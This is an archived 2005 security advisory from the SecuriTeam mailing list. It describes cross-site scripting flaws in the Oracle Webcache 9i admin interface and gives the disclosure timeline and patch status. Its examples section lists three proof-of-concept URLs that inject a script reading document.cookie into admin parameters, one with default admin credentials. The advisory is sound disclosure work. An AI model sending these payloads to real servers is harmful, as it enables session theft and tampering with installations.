

[NEWS] Oracle Webcache 9i Cross Site Scripting

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-04/0163.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 04/27/05

To: list@securiteam.com

Date: 27 Apr 2005 19:06:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Oracle Webcache 9i Cross Site Scripting

SUMMARY

Many parameters used by Oracle's webcache are vulnerable to XSS/CSS attacks. When this vulnerability is combined with <http://www.securiteam.com/securitynews/5CP0L20FGI.html>> Oracle Webcache 9i File Appending Vulnerability it is possible to corrupt the Oracle Application Server installation.

DETAILS

Vulnerable Systems:

- * Oracle Application Server with Webcache 9i

Examples:

http://server01:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_replace_file.txt< script>alert(document.cookie);</script>

http://server01:4000/webcacheadmin?SCREEN_ID=CGA.Site.ApologyPages_Edit&ACTION=Submit&PartialPageErrorPage=/inservice.html< script>alert(document.cookie)</script>&site_id=2

http://administrator:administrator@server01:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_append_file.txt< script>alert(document.cookie);</script>

Securiteam: [NEWS] Oracle Webcache 9i Cross Site Scripting

Patch:

Oracle fixed these issues and has informed their customers.

Disclosure Timeline:

23-sep-2003 Oracle secalert was informed

23-sep-2003 Bug confirmed

26-apr-2005 Red-Database-Security published this advisory

ADDITIONAL INFORMATION

The information has been provided by

<mailto:ak@red-database-security.com> Kornbrust, Alexander.

The original article can be found at:

<http://www.red-database-security.com/advisory/oracle_webcache_CSS_vulnerabilities.html>

http://www.red-database-security.com/advisory/oracle_webcache_CSS_vulnerabilities.html

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.